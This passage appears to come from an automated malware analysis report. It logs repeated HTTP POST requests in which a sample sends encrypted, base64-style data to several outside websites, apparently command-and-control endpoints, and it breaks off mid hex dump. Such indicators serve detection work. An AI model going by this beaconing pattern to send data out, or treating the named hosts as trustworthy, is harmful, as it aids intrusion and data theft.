TsmAo2fJpRCVDoPnFjcozjAgqyjdXYjTi/NLghIycBeeomqh3LPnRm1I4/8aZbkMPO6sX2gywImHrH9iYby11Q6Q2XFRR8Lz9ZIjvUGVJuplZtqr6PY6UiLYhSwS7rxcXyU+T/+CNrlG7B277Dl5TlMOPXPaIwa7jXnkRakfuMbUu9bhKK4zuEye42Vyl5eLEYN00xHp5F+WhuVJc888+fBf4JFMaLN/KAgaslBZQa5vFcGYAKw2BlM3Jwuiy1iKZOkjB8QG7DwzCJE7K5bo8+TpU1gq9qwWfw7tqzKDpwCqQzZ57S+BUscbin0EqNGybm8iykrbkiWp7IofgjCPGUjQec/X8ZZJWnkEhvkqmD1hOkBa+jegIBoSTNxOWKBOT5J9IlMoFsP+cgkvGWiTwatFJRAYR6rfPT2+Epp3x360CiEkwPwSF1x4exndnNZVhmGP0OJDwGR9SNmkkXqpd0IziRbsao5l5jbN0/nuHffPnEnfdzyivcUsnupW27sj0f10uZkuvwVzRF6StaM+KOz/WdMj2VN2vok=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 568User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.ora-ito.comCache-Control: no-cacheData Raw: 58 62 42 53 7a 33 58 6c 6e 68 43 50 43 75 63 47 33 44 68 61 7a 47 36 74 51 77 38 44 66 70 77 63 65 58 6c 53 42 77 55 2b 75 50 42 6e 72 6e 36 61 4b 73 6f 37 78 69 63 33 46 72 44 6d 63 52 53 72 49 68 7a 52 43 48 77 56 54 43 48 35 39 57 41 6a 6d 65 51 57 6d 35 78 45 63 49 62 54 53 34 36 65 56 66 2f 68 50 37 73 49 57 31 32 57 79 37 45 4b 45 6e 68 56 61 78 55 70 63 30 6f 30 67 4d 7a 36 4a 51 50 76 5a 70 73 68 41 6b 72 34 5a 56 35 6b 4a 32 68 63 2f 34 47 52 72 77 77 52 30 6e 30 53 79 66 72 4d 44 6a 73 53 75 32 39 63 4c 62 6b 54 78 59 6a 32 58 47 34 65 31 67 2f 71 37 55 46 50 79 4d 56 56 37 70 6c 39 38 70 76 79 65 48 35 53 34 4e 6d 69 64 37 32 38 45 49 67 77 39 42 64 4f 7a 4d 5a 70 6b 6e 6f 44 42 45 65 34 57 4e 74 72 41 31 31 2f 47 42 66 4d 77 7a 51 50 70 6e 47 54 66 4d 2b 51 65 75 77 77 2b 72 75 46 39 51 61 6a 38 75 6f 70 34 42 44 63 4c 6f 65 66 65 77 62 37 41 79 74 56 52 43 75 43 6e 43 5a 32 48 43 74 2f 32 76 45 49 51 74 51 49 63 34 34 4a 58 39 4a 65 70 2f 6c 6b 32 4b 36 5a 35 64 4d 76 65 54 75 43 2f 43 59 76 2b 4b 4e 36 31 78 72 72 4b 51 2f 48 48 61 61 30 75 6d 47 33 76 48 6f 78 65 6d 78 66 43 45 31 2b 45 4a 75 2f 6d 30 33 55 41 34 48 66 7a 47 4c 5a 30 2f 4e 38 56 4f 30 42 58 30 66 7a 58 34 7a 37 52 2f 79 69 50 73 76 57 4f 7a 42 4c 31 7a 41 6f 79 39 37 56 49 70 2f 64 45 47 44 58 56 72 7a 30 41 7a 77 47 4a 54 69 5a 61 6e 37 52 64 72 32 74 46 4b 79 61 47 63 6f 62 4e 6e 61 55 6f 4c 51 52 7a 45 54 37 75 50 41 6c 6e 74 35 46 33 32 45 6f 33 36 35 4c 46 49 52 69 6a 2b 34 75 4e 79 59 32 6a 61 49 2f 6a 39 50 76 36 43 32 73 5a 6d 32 65 4c 6e 69 56 30 50 64 66 55 57 65 4b 4a 47 4d 50 68 73 45 76 59 70 5a 45 50 56 52 75 57 6f 50 7a 54 4d 71 55 46 6e 4f 66 71 39 46 6d 36 78 61 68 71 2b 45 3d Data Ascii: XbBSz3XlnhCPCucG3DhazG6tQw8DfpwceXlSBwU+uPBnrn6aKso7xic3FrDmcRSrIhzRCHwVTCH59WAjmeQWm5xEcIbTS46eVf/hP7sIW12Wy7EKEnhVaxUpc0o0gMz6JQPvZpshAkr4ZV5kJ2hc/4GRrwwR0n0SyfrMDjsSu29cLbkTxYj2XG4e1g/q7UFPyMVV7pl98pvyeH5S4Nmid728EIgw9BdOzMZpknoDBEe4WNtrA11/GBfMwzQPpnGTfM+Qeuww+ruF9Qaj8uop4BDcLoefewb7AytVRCuCnCZ2HCt/2vEIQtQIc44JX9Jep/lk2K6Z5dMveTuC/CYv+KN61xrrKQ/HHaa0umG3vHoxemxfCE1+EJu/m03UA4HfzGLZ0/N8VO0BX0fzX4z7R/yiPsvWOzBL1zAoy97VIp/dEGDXVrz0AzwGJTiZan7Rdr2tFKyaGcobNnaUoLQRzET7uPAlnt5F32Eo365LFIRij+4uNyY2jaI/j9Pv6C2sZm2eLniV0PdfUWeKJGMPhsEvYpZEPVRuWoPzTMqUFnOfq9Fm6xahq+E=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 540User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.pupi.czCache-Control: no-cacheCookie: __tad=1729847864.1118985Data Raw: 61 6e 33 4d 4b 31 61 4a 4d 56 73 48 6d 6f 72 77 4d 54 41 52 42 50 6d 34 4c 67 33 32 4b 59 58 49 36 68 4b 61 39 4b 66 55 78 51 36 4b 62 37 69 79 2f 53 64 50 78 51 76 65 64 62 74 37 7a 62 58 44 4d 65 4c 5a 51 69 54 68 49 52 48 74 4f 6c 49 47 4b 76 33 6c 4c 44 65 79 6c 62 7a 39 38 34 64 73 61 6a 59 46 68 63 30 55 4e 45 56 2f 58 5a 54 50 51 48 57 79 2b 35 49 32 52 2b 31 34 39 4e 71 34 37 47 43 79 56 6f 45 46 66 52 51 48 36 65 4e 71 34 59 49 76 4a 53 55 4a 69 4c 47 2f 6c 61 32 36 6b 43 63 62 41 55 68 68 79 77 39 51 77 6f 57 53 76 6a 43 6e 71 6f 2b 65 6b 74 77 31 4a 63 38 58 4e 44 2f 42 6c 44 70 54 4e 58 59 50 2b 4e 34 5a 34 32 57 4c 41 76 61 57 74 65 4a 6f 69 65 5a 7a 79 49 5a 65 7a 66 4f 53 52 71 71 58 6e 38 53 64 2f 32 50 73 4f 44 32 71 45 64 47 43 31 49 50 64 4b 35 61 47 45 55 64 52 44 42 6e 5a 74 62 48 66 57 33 68 55 4b 4b 57 4c 30 73 45 48 45 78 70 48 31 38 75 72 79 48 57 66 6f 69 4a 31 56 38 5a 52 38 48 5a 47 72 66 38 57 61 4b 4d 55 7a 74 74 78 4a 44 37 73 4e 34 41 59 50 56 46 61 6e 43 61 66 71 53 2f 59 4b 6d 56 51 6d 74 72 4d 50 33 69 43 6d 77 61 32 42 32 49 42 79 2b 47 33 66 4b 44 2b 69 41 61 39 65 51 4c 55 31 54 52 70 38 4e 78 46 6e 78 32 56 76 39 52 6b 63 6c 54 37 35 57 6f 59 68 32 72 35 6a 2b 6d 65 46 64 70 6e 6e 42 36 67 4f 31 30 50 36 66 58 76 37 39 31 76 57 47 6f 6a 72 34 4c 70 79 43 4e 6d 59 43 6e 41 52 43 75 6b 57 76 37 49 6f 41 49 78 36 7a 2b 31 62 6a 49 76 6b 77 6c 75 39 42 62 78 63 4e 56 51 2b 4e 48 30 42 37 73 4b 4b 46 6b 6d 49 51 4e 66 53 45 49 49 35 46 76 4c 46 6e 35 74 73 46 2f 6b 6d 34 32 6f 50 59 51 77 48 65 47 45 30 6e 6d 7a 36 65 37 33 35 51 50 54 5a 2b 2b 67 59 77 3d 3d Data Ascii: an3MK1aJMVsHmorwMTARBPm4Lg32KYXI6hKa9KfUxQ6Kb7iy/SdPxQvedbt7zbXDMeLZQiThIRHtOlIGKv3lLDeylbz984dsajYFhc0UNEV/XZTPQHWy+5I2R+149Nq47GCyVoEFfRQH6eNq4YIvJSUJiLG/la26kCcbAUhhyw9QwoWSvjCnqo+ektw1Jc8XND/BlDpTNXYP+N4Z42WLAvaWteJoieZzyIZezfOSRqqXn8Sd/2PsOD2qEdGC1IPdK5aGEUdRDBnZtbHfW3hUKKWL0sEHExpH18uryHWfoiJ1V8ZR8HZGrf8WaKMUzttxJD7sN4AYPVFanCafqS/YKmVQmtrMP3iCmwa2B2IBy+G3fKD+iAa9eQLU1TRp8NxFnx2Vv9RkclT75WoYh2r5j+meFdpnnB6gO10P6fXv791vWGojr4LpyCNmYCnARCukWv7IoAIx6z+1bjIvkwlu9BbxcNVQ+NH0B7sKKFkmIQNfSEII5FvLFn5tsF/km42oPYQwHeGE0nmz6e735QPTZ++gYw==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 556User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.pupi.czCache-Control: no-cacheCookie: __tad=1729847864.1118985Data Raw: 4c 65 35 73 35 46 34 31 73 42 43 5a 37 73 6c 75 71 52 33 54 67 45 45 75 59 62 32 65 32 6a 2f 6b 63 76 74 64 70 68 35 71 4a 46 4e 6c 6b 58 45 4a 58 52 70 32 64 52 70 32 47 62 75 36 72 34 4f 63 6e 46 51 43 37 37 2b 73 45 6f 42 56 49 67 70 32 36 75 4a 35 4a 57 62 74 74 41 6d 35 5a 41 5a 53 70 4f 44 31 34 43 2f 43 33 70 7a 74 33 4b 45 41 39 68 47 6d 2b 53 53 6a 51 78 55 44 42 4e 48 37 4d 48 48 39 65 67 78 53 49 6b 4b 6d 36 6e 4c 76 48 56 75 33 30 6b 4c 49 41 62 43 59 6e 71 56 35 41 4f 4a 47 77 6f 48 31 47 63 32 67 6f 44 4d 66 4c 64 49 45 55 61 35 53 6d 52 55 72 4e 49 53 49 35 4b 4e 74 49 53 6c 72 2b 43 75 62 70 59 72 67 68 62 51 30 73 42 4d 42 30 44 68 56 58 2b 74 2f 66 39 4d 73 64 6e 6d 6a 37 7a 51 41 4b 30 77 4d 57 36 74 67 49 68 36 57 53 69 35 58 7a 76 58 71 35 44 6f 72 2b 37 79 55 7a 73 64 47 65 30 45 73 49 39 61 75 45 45 33 76 4e 49 6d 35 6b 38 51 6d 52 41 70 66 50 70 34 35 6e 77 71 71 73 42 2f 37 4e 55 52 58 68 6c 53 4f 69 44 35 36 46 6f 76 6d 59 37 33 71 31 36 77 33 4d 6c 63 69 6a 62 71 6f 71 6b 54 70 78 66 44 65 70 67 44 2b 5a 35 5a 66 54 31 66 61 70 70 38 39 58 51 7a 43 78 57 51 6e 79 74 70 75 50 52 32 56 6d 69 69 67 46 47 79 75 68 77 4d 68 39 71 4a 6d 77 59 79 71 58 79 50 4c 4c 66 64 47 44 6b 6c 6a 4a 4e 54 62 68 69 70 75 78 46 68 78 38 57 78 57 45 70 6a 6e 70 39 6a 2b 70 33 33 46 6c 46 39 63 42 47 63 54 4f 45 41 70 31 70 36 6b 78 4b 39 72 62 53 67 49 38 70 77 75 6d 39 73 6d 77 71 32 36 69 4d 71 66 4d 41 37 4e 64 77 57 30 4d 75 53 30 78 6f 4e 30 58 5a 34 58 30 58 62 55 53 41 78 78 4a 54 6c 48 6a 2f 4c 46 47 59 50 37 56 76 38 6e 4e 72 52 4c 7a 4d 6a 75 39 56 4c 43 4e 79 4c 33 4b 32 51 6b 35 4e 37 5a 6f 68 6a 67 78 45 38 41 65 67 3d 3d Data Ascii: Le5s5F41sBCZ7sluqR3TgEEuYb2e2j/kcvtdph5qJFNlkXEJXRp2dRp2Gbu6r4OcnFQC77+sEoBVIgp26uJ5JWbttAm5ZAZSpOD14C/C3pzt3KEA9hGm+SSjQxUDBNH7MHH9egxSIkKm6nLvHVu30kLIAbCYnqV5AOJGwoH1Gc2goDMfLdIEUa5SmRUrNISI5KNtISlr+CubpYrghbQ0sBMB0DhVX+t/f9Msdnmj7zQAK0wMW6tgIh6WSi5XzvXq5Dor+7yUzsdGe0EsI9auEE3vNIm5k8QmRApfPp45nwqqsB/7NURXhlSOiD56FovmY73q16w3MlcijbqoqkTpxfDepgD+Z5ZfT1fapp89XQzCxWQnytpuPR2VmiigFGyuhwMh9qJmwYyqXyPLLfdGDkljJNTbhipuxFhx8WxWEpjnp9j+p33FlF9cBGcTOEAp1p6kxK9rbSgI8pwum9smwq26iMqfMA7NdwW0MuS0xoN0XZ4X0XbUSAxxJTlHj/LFGYP7Vv8nNrRLzMju9VLCNyL3K2Qk5N7ZohjgxE8Aeg==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 596User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.ka-mo-me.comCache-Control: no-cacheData Raw: 52 6f 6d 58 56 39 4a 42 74 6c 70 41 68 53 6c 41 68 66 64 72 34 39 55 57 4f 65 30 69 45 6c 55 50 4a 72 33 62 2f 37 62 2f 76 74 53 6a 51 54 43 51 33 58 41 75 38 49 68 43 77 35 4a 4c 4d 4a 65 47 76 30 55 79 5a 76 64 52 4c 57 54 45 73 48 34 4b 66 6b 68 5a 33 45 59 66 6d 36 48 38 5a 53 53 77 44 65 70 45 65 54 37 52 46 2f 71 48 64 37 71 61 37 4b 76 2b 64 52 73 7a 79 56 34 4d 7a 48 58 42 5a 32 71 6c 6c 76 48 52 52 5a 34 70 41 41 37 71 34 34 75 32 4b 6a 48 50 46 39 48 65 36 65 32 36 69 2f 70 57 31 4d 56 37 32 33 67 45 53 43 4e 42 33 32 66 66 73 74 33 38 63 6a 4d 7a 52 68 33 6c 47 61 72 57 67 49 67 71 52 75 30 51 50 34 79 31 54 78 67 32 47 39 66 47 77 6b 55 32 75 6c 43 2b 50 69 75 62 4a 4e 31 61 52 41 6f 38 4e 52 37 4d 67 51 64 58 70 33 4e 68 53 6a 66 47 6d 48 4c 6b 73 30 36 70 4d 7a 43 54 6f 69 39 48 2b 54 46 59 32 2b 4f 65 61 36 43 6a 51 41 51 4d 58 46 2f 51 6d 6b 66 59 4b 33 63 4b 48 50 56 44 73 67 36 57 46 4c 72 34 72 4e 72 6e 4c 30 55 46 74 51 53 78 59 62 30 49 59 54 70 73 76 30 61 47 7a 2f 79 69 39 50 62 69 31 37 4e 64 4d 42 33 4d 5a 30 74 50 68 43 6c 4f 74 31 39 4c 4a 35 34 46 67 78 71 6b 62 6a 49 51 5a 58 46 34 57 51 77 57 52 32 44 68 31 58 4a 69 45 43 66 73 76 75 68 41 52 43 4d 72 75 32 44 42 7a 6e 63 63 35 49 38 4b 59 34 58 42 55 4e 6d 37 59 48 4d 70 4e 50 6a 52 6f 6e 78 63 48 67 56 36 45 53 35 6b 52 37 65 69 4a 41 33 57 43 69 31 51 48 67 6c 4f 63 52 46 33 35 59 43 6b 66 59 33 78 2f 70 72 66 6b 64 72 74 6f 41 6e 66 62 33 51 34 65 62 48 57 4d 70 50 70 6b 72 54 61 62 6e 76 64 35 78 56 50 59 52 53 61 79 30 4f 76 44 77 6e 6d 51 50 41 51 6f 50 51 53 75 54 74 75 67 64 52 49 74 53 52 63 57 74 6a 50 66 6d 4e 64 70 65 79 70 41 72 64 78 57 5a 65 53 52 58 50 59 37 72 77 63 69 66 39 65 2f 65 59 37 4d 39 6b 57 6a 49 65 64 58 49 79 62 4b 6c 56 72 59 31 31 6e 6d 44 50 57 Data Ascii: RomXV9JBtlpAhSlAhfdr49UWOe0iElUPJr3b/7b/vtSjQTCQ3XAu8IhCw5JLMJeGv0UyZvdRLWTEsH4KfkhZ3EYfm6H8ZSSwDepEeT7RF/qHd7qa7Kv+dRszyV4MzHXBZ2qllvHRRZ4pAA7q44u2KjHPF9He6e26i/pW1MV723gESCNB32ffst38cjMzRh3lGarWgIgqRu0QP4y1Txg2G9fGwkU2ulC+PiubJN1aRAo8NR7MgQdXp3NhSjfGmHLks06pMzCToi9H+TFY2+Oea6CjQAQMXF/QmkfYK3cKHPVDsg6WFLr4rNrnL0UFtQSxYb0IYTpsv0aGz/yi9Pbi17NdMB3MZ0tPhClOt19LJ54FgxqkbjIQZXF4WQwWR2Dh1XJiECfsvuhARCMru2DBzncc5I8KY4XBUNm7YHMpNPjRonxcHgV6ES5kR7eiJA3WCi1QHglOcRF35YCkfY3x/prfkdrtoAnfb3Q4ebHWMpPpkrTabnvd5xVPYRSay0OvDwnmQPAQoPQSuTtugdRItSRcWtjPfmNdpeypArdxWZeSRXPY7rwcif9e/eY7M9kWjIedXIybKlVrY11nmDPW
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 584User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.tvtools.fiCache-Control: no-cacheData Raw: 69 6c 6d 32 53 47 34 45 57 42 42 36 69 30 49 41 65 51 42 70 6b 64 47 66 45 6f 33 75 76 70 45 36 67 72 50 52 54 76 71 7a 4f 56 58 66 52 78 4c 35 73 58 77 56 61 33 67 49 32 50 31 7a 32 45 36 54 46 70 49 45 6d 67 4e 34 6d 4c 7a 2b 75 4a 72 61 45 57 62 6b 56 78 43 4d 38 63 79 32 77 56 32 2f 65 4c 43 32 67 63 68 65 58 2b 44 55 55 59 75 7a 6b 6f 6c 77 71 2f 6b 64 37 35 79 46 64 69 39 64 76 6b 32 66 59 4e 38 2b 69 6c 4d 39 6f 39 46 77 6a 72 6a 4d 74 65 39 72 57 2b 68 70 6d 4b 47 6c 67 56 71 42 58 4c 35 68 54 4d 6f 57 6e 4b 63 41 4e 36 70 55 58 50 2f 53 4b 4b 62 42 34 41 72 6b 47 65 4f 77 79 6b 36 6d 44 34 6e 59 57 72 68 48 6b 6b 32 33 30 41 2b 65 62 4c 6e 4e 38 56 62 6a 55 56 5a 47 62 55 6d 48 5a 4c 6b 53 73 4e 61 6c 76 41 46 4b 52 36 34 4c 6d 67 51 4f 2f 76 59 74 33 4c 55 41 65 4e 32 6e 4e 48 65 52 72 6d 41 55 49 46 6f 6d 62 65 48 63 35 4b 51 4c 47 56 43 70 36 4a 39 67 43 74 71 4e 4b 64 76 54 2b 2b 6e 4b 6c 4c 6d 44 38 50 77 4c 62 45 34 50 64 4d 53 52 62 44 30 67 79 35 58 32 51 36 2b 2f 73 33 2f 30 64 2b 4f 50 32 6e 55 58 68 63 57 67 71 62 65 4a 4b 4b 2b 31 55 48 52 54 30 35 75 4f 31 39 72 2b 52 68 56 51 2b 32 67 61 4f 32 5a 68 76 37 75 39 32 71 67 69 64 44 79 52 34 6c 39 6f 4a 55 71 34 4f 6f 72 4d 42 39 33 54 47 4f 42 37 35 53 36 69 52 54 35 48 74 71 4c 4b 44 6d 30 6d 61 46 34 77 42 2b 35 48 61 71 51 4e 4d 4f 31 4a 6c 35 51 33 64 43 56 48 69 41 55 6a 62 39 79 6b 34 32 56 46 6c 69 7a 51 6b 65 76 6d 33 48 59 62 53 34 64 49 2b 72 6b 61 41 79 54 57 4e 31 32 47 70 69 31 50 30 69 7a 44 41 4a 37 36 57 35 30 5a 44 73 4f 6d 32 2b 39 30 4c 59 42 72 47 38 50 62 66 4d 6b 47 49 55 37 4e 43 2f 72 57 45 4f 71 45 5a 71 2f 48 70 38 4c 44 4a 52 37 48 44 46 2f 5a 39 4c 59 54 4b 47 79 56 75 32 52 4a 65 51 59 76 33 78 37 38 6a 33 6b 5a 6d 41 3d 3d Data Ascii: ilm2SG4EWBB6i0IAeQBpkdGfEo3uvpE6grPRTvqzOVXfRxL5sXwVa3gI2P1z2E6TFpIEmgN4mLz+uJraEWbkVxCM8cy2wV2/eLC2gcheX+DUUYuzkolwq/kd75yFdi9dvk2fYN8+ilM9o9FwjrjMte9rW+hpmKGlgVqBXL5hTMoWnKcAN6pUXP/SKKbB4ArkGeOwyk6mD4nYWrhHkk230A+ebLnN8VbjUVZGbUmHZLkSsNalvAFKR64LmgQO/vYt3LUAeN2nNHeRrmAUIFombeHc5KQLGVCp6J9gCtqNKdvT++nKlLmD8PwLbE4PdMSRbD0gy5X2Q6+/s3/0d+OP2nUXhcWgqbeJKK+1UHRT05uO19r+RhVQ+2gaO2Zhv7u92qgidDyR4l9oJUq4OorMB93TGOB75S6iRT5HtqLKDm0maF4wB+5HaqQNMO1Jl5Q3dCVHiAUjb9yk42VFlizQkevm3HYbS4dI+rkaAyTWN12Gpi1P0izDAJ76W50ZDsOm2+90LYBrG8PbfMkGIU7NC/rWEOqEZq/Hp8LDJR7HDF/Z9LYTKGyVu2RJeQYv3x78j3kZmA==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 576User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.mqs.com.brCache-Control: no-cacheCookie: __goc_session__=lafcfcoaucmfvhcxntzzjciukguenwvs; _mcnc=1Data Raw: 4b 66 64 75 66 48 78 78 4f 42 43 4e 79 34 57 2b 4a 78 36 67 6f 51 2b 6d 65 7a 77 55 74 48 47 58 63 4e 72 30 79 44 34 35 70 70 44 66 58 35 56 70 2b 67 2f 46 78 2f 65 49 73 36 67 39 6d 41 37 63 4d 4d 55 72 38 49 67 6d 71 6d 75 77 37 35 57 36 48 4e 64 50 69 52 4a 57 64 6c 4e 4b 59 2f 57 58 76 78 44 66 65 59 37 6b 46 59 69 50 58 39 42 41 66 74 34 2f 41 7a 31 4a 4e 37 5a 4a 58 70 7a 5a 70 36 39 63 72 62 6c 79 5a 69 4b 4f 36 36 4c 46 7a 4d 71 30 71 36 78 43 52 68 53 6e 79 31 6a 52 35 56 35 35 6b 6b 77 52 4e 39 64 34 76 70 78 37 41 77 5a 66 77 59 63 55 70 44 47 45 76 73 6d 32 38 46 2f 38 50 2f 50 74 77 70 31 42 7a 41 73 66 34 45 51 73 4d 2f 33 7a 48 4f 55 62 38 66 30 72 30 75 4e 50 69 61 69 4a 4a 78 34 50 73 74 32 4b 55 57 61 48 37 6d 55 64 54 35 72 57 2f 30 79 6e 57 65 56 73 4c 45 61 4e 48 73 41 44 74 59 47 77 39 71 63 35 6b 65 63 62 72 4d 37 44 55 42 65 78 59 4c 34 4f 75 53 70 57 7a 78 54 51 44 31 52 65 37 58 42 71 43 6c 57 53 42 64 58 52 74 77 6e 65 56 67 54 43 66 47 7a 62 46 4c 51 32 7a 71 44 64 72 64 69 39 50 77 71 62 6e 6a 4e 30 51 6c 53 6f 49 68 55 2b 51 5a 44 58 6e 70 47 6e 70 30 7a 4e 51 46 4c 4f 2b 6f 42 4d 56 7a 43 4a 66 7a 75 33 59 70 45 33 4d 46 51 71 61 6f 44 59 46 33 57 6c 4b 54 64 48 55 43 47 79 48 67 58 63 51 63 67 57 64 6b 78 59 42 52 76 37 38 42 6c 75 53 69 6a 48 58 55 61 71 56 4d 42 45 57 44 37 33 6b 62 39 49 64 64 30 52 44 44 50 52 72 7a 53 48 65 5a 50 2f 44 48 79 6a 76 2b 6c 53 57 7a 46 34 7a 38 7a 74 50 4b 43 46 72 6a 5a 6d 35 47 79 5a 56 42 46 75 57 72 38 62 75 54 51 2b 69 46 4a 62 66 68 33 6a 4e 44 5a 42 43 62 36 47 38 76 54 57 6f 77 76 31 59 49 62 64 7a 54 35 4a 52 54 6f 41 45 44 41 36 49 33 67 61 37 39 56 4a 51 5a 72 59 6a 38 79 63 4a 59 67 6d 6f 32 69 47 6c 33 6b 55 58 66 4a 5a Data Ascii: KfdufHxxOBCNy4W+Jx6goQ+mezwUtHGXcNr0yD45ppDfX5Vp+g/Fx/eIs6g9mA7cMMUr8Igmqmuw75W6HNdPiRJWdlNKY/WXvxDfeY7kFYiPX9BAft4/Az1JN7ZJXpzZp69crblyZiKO66LFzMq0q6xCRhSny1jR5V55kkwRN9d4vpx7AwZfwYcUpDGEvsm28F/8P/Ptwp1BzAsf4EQsM/3zHOUb8f0r0uNPiaiJJx4Pst2KUWaH7mUdT5rW/0ynWeVsLEaNHsADtYGw9qc5kecbrM7DUBexYL4OuSpWzxTQD1Re7XBqClWSBdXRtwneVgTCfGzbFLQ2zqDdrdi9PwqbnjN0QlSoIhU+QZDXnpGnp0zNQFLO+oBMVzCJfzu3YpE3MFQqaoDYF3WlKTdHUCGyHgXcQcgWdkxYBRv78BluSijHXUaqVMBEWD73kb9Idd0RDDPRrzSHeZP/DHyjv+lSWzF4z8ztPKCFrjZm5GyZVBFuWr8buTQ+iFJbfh3jNDZBCb6G8vTWowv1YIbdzT5JRToAEDA6I3ga79VJQZrYj8ycJYgmo2iGl3kUXfJZ
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 584User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.spanesi.comCache-Control: no-cacheData Raw: 4b 64 45 36 53 42 39 58 5a 46 74 50 68 63 33 36 66 72 6c 45 58 61 6a 53 70 49 50 31 69 58 48 33 77 77 41 53 50 74 74 71 71 50 4f 42 68 62 52 7a 35 44 62 36 4d 49 65 36 75 37 56 53 50 55 68 75 67 76 72 59 39 68 4e 42 63 42 2f 32 2f 42 32 67 53 4a 2f 2f 41 76 36 61 58 36 7a 63 30 44 68 56 5a 55 4e 31 69 4e 6e 30 6a 4f 2b 74 63 54 59 48 4b 64 4a 69 47 69 75 33 77 4d 50 75 5a 78 44 30 4b 79 77 38 54 77 56 64 75 71 46 51 66 4d 48 5a 6b 78 6a 4d 45 6f 53 6d 63 68 45 63 62 42 2b 2f 5a 55 79 34 70 54 63 4f 51 63 7a 4c 4f 35 36 2b 75 41 55 6b 53 47 55 37 74 61 6a 52 31 34 46 69 46 57 56 46 6a 76 41 67 6c 41 6a 64 44 41 6d 79 6f 56 44 55 43 2b 58 48 61 37 2f 34 72 75 38 43 71 63 2f 56 6a 6f 70 79 35 78 36 45 49 68 59 79 68 53 4f 36 75 59 55 61 77 61 52 5a 42 68 6c 2b 66 50 6c 48 36 4f 7a 6e 6c 56 51 39 71 7a 46 4a 63 52 4f 49 37 72 52 48 34 54 4e 46 43 30 34 4e 78 41 6c 70 31 6f 6e 48 78 47 43 58 6a 59 73 50 53 61 76 37 74 59 52 39 6e 47 64 6a 5a 37 30 37 33 68 46 41 35 78 2f 7a 6e 51 57 6c 53 62 2f 47 55 56 4e 6b 75 38 65 75 72 41 67 76 70 48 50 34 49 54 57 4b 6a 69 69 4b 50 39 49 32 66 47 4b 72 77 33 39 75 36 64 48 69 61 36 78 51 64 6f 74 68 50 33 62 59 65 52 47 50 43 51 48 62 36 34 47 59 75 38 71 41 58 41 4d 39 49 38 6a 49 4c 65 32 79 58 69 58 4b 57 74 42 47 56 44 37 50 78 7a 6d 4f 42 48 35 31 6d 36 46 62 32 31 56 70 30 72 53 33 33 57 65 45 68 42 57 47 33 55 7a 69 53 54 73 73 46 6c 58 6c 75 36 7a 2b 42 57 4a 66 46 43 53 6f 36 58 37 73 38 30 43 55 6c 6c 74 4a 63 34 70 5a 4a 43 41 69 43 47 43 56 49 54 4d 33 54 4c 46 6b 2f 31 4b 44 2f 50 61 79 44 55 47 4d 75 51 76 74 46 30 4f 71 30 6f 51 6f 75 6e 57 62 67 47 4f 73 32 6c 50 35 56 73 4e 43 53 33 6c 75 53 4f 4f 7a 70 59 30 69 47 49 34 48 54 64 76 64 35 77 6d 43 53 6e 65 67 78 4c 70 2b Data Ascii: KdE6SB9XZFtPhc36frlEXajSpIP1iXH3wwASPttqqPOBhbRz5Db6MIe6u7VSPUhugvrY9hNBcB/2/B2gSJ//Av6aX6zc0DhVZUN1iNn0jO+tcTYHKdJiGiu3wMPuZxD0Kyw8TwVduqFQfMHZkxjMEoSmchEcbB+/ZUy4pTcOQczLO56+uAUkSGU7tajR14FiFWVFjvAglAjdDAmyoVDUC+XHa7/4ru8Cqc/Vjopy5x6EIhYyhSO6uYUawaRZBhl+fPlH6OznlVQ9qzFJcROI7rRH4TNFC04NxAlp1onHxGCXjYsPSav7tYR9nGdjZ7073hFA5x/znQWlSb/GUVNku8eurAgvpHP4ITWKjiiKP9I2fGKrw39u6dHia6xQdothP3bYeRGPCQHb64GYu8qAXAM9I8jILe2yXiXKWtBGVD7PxzmOBH51m6Fb21Vp0rS33WeEhBWG3UziSTssFlXlu6z+BWJfFCSo6X7s80CUlltJc4pZJCAiCGCVITM3TLFk/1KD/PayDUGMuQvtF0Oq0oQounWbgGOs2lP5VsNCS3luSOOzpY0iGI4HTdvd5wmCSnegxLp+
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 584User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.otena.comCache-Control: no-cacheData Raw: 6a 53 72 63 51 79 6b 77 35 52 44 4c 32 6d 4b 6a 2b 4c 74 44 48 55 4b 79 34 77 50 48 38 4d 52 64 62 54 32 66 50 39 55 30 65 51 6d 35 53 43 65 73 42 38 56 54 45 4e 52 6f 6d 76 61 50 70 5a 42 49 6b 73 51 52 45 62 50 54 6e 64 6a 5a 51 4f 42 7a 66 7a 72 32 73 37 4c 43 2f 43 46 2b 79 57 55 79 74 2f 65 6b 2b 2b 44 50 45 50 76 55 69 6c 62 78 47 44 45 59 45 6c 5a 37 5a 71 4a 4f 6b 6d 4b 33 38 77 68 62 70 32 72 50 52 6b 6c 64 58 50 35 38 6b 51 42 61 58 62 72 7a 39 42 4f 43 64 6e 48 72 69 4a 51 31 38 68 69 4c 53 4a 6c 4d 44 62 78 4a 59 30 5a 75 51 69 75 79 70 54 65 6f 63 4d 6f 46 33 63 65 59 76 2b 6b 58 4c 44 7a 34 79 31 